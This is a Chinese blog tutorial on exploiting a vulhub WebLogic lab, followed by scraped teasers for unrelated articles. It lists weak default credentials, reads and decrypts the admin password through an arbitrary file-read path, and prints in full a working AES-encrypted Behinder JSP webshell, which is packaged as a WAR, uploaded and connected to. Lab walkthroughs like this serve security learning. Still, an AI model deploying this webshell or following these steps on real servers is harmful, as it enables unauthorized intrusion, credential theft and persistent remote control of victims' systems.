Weblogic漏洞复现【含解密和shell连接工具】

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

1、漏洞成因

序列化和反序列化本身并不存在问题,但当输入的反序列化的数据可被用户控制时,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

2、历史漏洞

# Weblogic活跃的几个较新版本
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.1
Weblogic 12.2.1.2
Weblogic 12.2.1.3# 控制台路径泄露,弱口令
Weakpassword#SSRF
CVE-2014-4210#任意文件上传
CVE-2018-2894#XMLDecoder反序列化:
CVE-2017-10271
CVE-2017-3506#JAVA反序列化:
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2018-2893

3、weak_password漏洞复现

3.0、weblogic常用弱口令
账号 / 密码
system / password
weblogic / weblogic
weblogic / Oracle@123
admin / admin
joe / password
mary / password
system / security
wlcsystem / wlcsystem
wlpisystem / wlpisytem
3.1、启动靶场环境
# 先切到对应目录
cd /home/kali/vulhub-master/weblogic/weak_password# 开启靶场
docker-compose up -d# 查看靶场启动情况
docker-compose ps
3.2、访问靶场

访问:http://your-ip:7001

404特征

在这里插入图片描述

访问/console/login/LoginForm.jsp路径来到后台管理

在这里插入图片描述

3.3、任意读取文件

任意读取文件获取用户名密码,weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml。在本环境中为./security/SerializedSystemIni.dat./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)。

在burp suite的HTTP history取一个GET请求记录右击send to Repeater,在请求URL修改为/hello/file.jsp?path=security/SerializedSystemIni.dat,点Send按钮发送请求,在响应页面会看到如下一段乱码

在这里插入图片描述

在响应端选择Hex标签,选择乱码的那部分右击选择Copy to file保存文件到自己指定的位置,文件名命名为SerializedSystemIni.dat。

在这里插入图片描述

同样的在burp suite的HTTP history取一个GET请求记录右击send to Repeater,在请求URL修改为/hello/file.jsp?path=config/config.xml,点Send按钮发送请求,在响应端找到节点node-manager-password-encrypted

在这里插入图片描述

3.4、工具解密

使用weblogic破解GUI工具,使用命令运行

java -jar weblogic_decrypt.jar

在这里插入图片描述

因此,得到用户名:weblogic,密码:Oracle@123。

3.5、后台上传shell

使用任意文件读取获取到的账号密码登录成功。上传路径:域结构-部署-安装-上传文件-将此部署安装为应用程序。然后访问项目名称即可。

在这里插入图片描述

在这里插入图片描述

在自己本地创建一个文件,命名为shell.jsp。一句话木马如下,密码为 pass:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

一句话木马来源参考:https://blog.csdn.net/cscscys/article/details/107856619

将其压缩为 shell.zip,然后重命名为 shell.war,选中war包并点击下一步上传。

在这里插入图片描述

war是一个可以直接运行的web模块,通常用于网站,打成包部署到容器中。
war包放置到web目录下之后,可以自动解压,就相当于发布了。

上传成功,一直点下一步,到最后一步点保存。

在这里插入图片描述

3.6、冰蝎连接

打开冰蝎使用命令运行

java -jar Behinder.jar

访问 http://your-ip:7001/shell/shell.jsp,密码在上面定义的是pass,使用冰蝎连接。

在这里插入图片描述
在这里插入图片描述

4、资料获取

如果需要本文weblogic漏洞利用工具包,请关注公众号:大象只为你,后台回复:weblogic漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/479876.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

阿里云服务器价格购买价格表,一目了然!

2024年阿里云服务器租用价格表更新&#xff0c;云服务器ECS经济型e实例2核2G、3M固定带宽99元一年、ECS u1实例2核4G、5M固定带宽、80G ESSD Entry盘优惠价格199元一年&#xff0c;轻量应用服务器2核2G3M带宽轻量服务器一年61元、2核4G4M带宽轻量服务器一年165元12个月、2核4G服…

第三百六十六回

文章目录 1. 概念介绍2. 使用方法2.1 List2.2 Map2.3 Set 3. 示例代码4. 内容总结 我们在上一章回中介绍了"convert包"相关的内容&#xff0c;本章回中将介绍collection.闲话休提&#xff0c;让我们一起Talk Flutter吧。 1. 概念介绍 我们在本章回中介绍的内容是col…

【常识】大数据设计基础知识

底层存储&#xff1a;hadoop&#xff08;hdfsmapreduce&#xff09; Hadoop已经有十几年的历史&#xff0c;它是大数据领域的存储基石&#xff0c;HDFS目前仍然没有成熟替代品;MapR 文件系统在业内已经具有一定知名度了&#xff0c;不仅 MapR 宣布它自己的文件系统比 HDFS 快2-…

SICTF Round#3 wp web

web hacker sql无列名注入&#xff1b; 提示查询username参数&#xff0c;flag在flag表中&#xff1b; 传参测试发现&#xff0c;union select 可用&#xff0c;空格被过滤可以使用/**/代替 &#xff0c;or也被过滤了且无法大小写、双写等绕过&#xff0c;导致无法查询flag表…

深度学习图像算法工程师--面试准备(1)

1 请问人工神经网络中为什么 ReLU 要好过于 tanh 和 Sigmoid function&#xff1f; 采⽤Sigmoid 等函数&#xff0c;算激活函数时&#xff08;指数运算&#xff09;&#xff0c;计算量⼤&#xff0c;反向传播求误差梯度时&#xff0c;求导涉及除法和指数运算&#xff0c;计算量…

MySQL - 增量同步和全量同步

增量同步和全量同步是数据同步过程中常用的两种方式&#xff0c;它们在定义、区别以及适用场景上有一些明显的差异。 一、定义 增量同步是指在数据同步中仅同步更新或新增的数据&#xff0c;而不包括已经同步过的数据。全量同步则是指将所有数据进行一次完整的同步&#xff0c…

财政部《关于加强数据资产管理的指导意见》要点解析

财政部1月11日印发的《关于加强数据资产管理的指导意见》&#xff08;以下简称《指导意见》&#xff09;是规范和加强数据资产管理&#xff0c;更好推动数字经济发展的重要文件。最近对文件的解析内容不少&#xff0c;这里结合一些公开内容再跟大家做一些解析。 四个核心要点 …

OpenAI Sora引领AI跳舞视频新浪潮:字节跳动发布创新舞蹈视频生成框架

OpenAI的Sora已经引起广泛关注&#xff0c;预计今年AI跳舞视频将在抖音平台上大放异彩。下面将为您详细介绍一款字节跳动发布的AI视频动画框架。 技术定位&#xff1a;这款框架采用先进的diffusion技术&#xff0c;专注于生成人类舞蹈视频。它不仅能够实现人体动作和表情的迁移…

视频生成模型作为世界模拟器

我们探索了在视频数据上大规模训练生成模型。具体来说&#xff0c;我们联合训练文本条件扩散模型&#xff0c;处理不同持续时间、分辨率和宽高比的视频和图像。我们利用一种在时空补丁上操作视频和图像潜码的transformer架构。我们最大的模型&#xff0c;Sora&#xff0c;能够生…

通用二进制方式安装MySQL8.0.x

一、必要说明 1、系统&#xff1a;openEuler操作系统 2、版本&#xff1a;MySQL - 8.0.36 3、下载地址&#xff1a;https://dev.mysql.com/get/Downloads/MySQL-8.0 二、安装步骤 1、下载glibc版本的Mysql [rootnode2 ~]# wget -c https://dev.mysql.com/get/Downloads/MySQ…

C# 使用RestSharp封装一个常用的http请求方法

Nuget安装RestSharp版本&#xff0c;不同版本之间的区别有很大&#xff0c;当前这个写法基于以下版本 public class APIHelper{private readonly string baseUrl ConfigurationManager.AppSettings["connectionString"].ToString(); /// <summary>/// http请…

离线升级esp32开发板升级包esp32-2.0.14(最新版已经3.0alpha了)

1.Arduino IDE 2.3.2最新 2024.2.20升级安装:https://www.arduino.cc/en/software 2.开发板地址 地址&#xff08;esp8266,esp32&#xff09; http://arduino.esp8266.com/stable/package_esp8266com_index.json,https://raw.githubusercontent.com/espressif/arduino-esp32…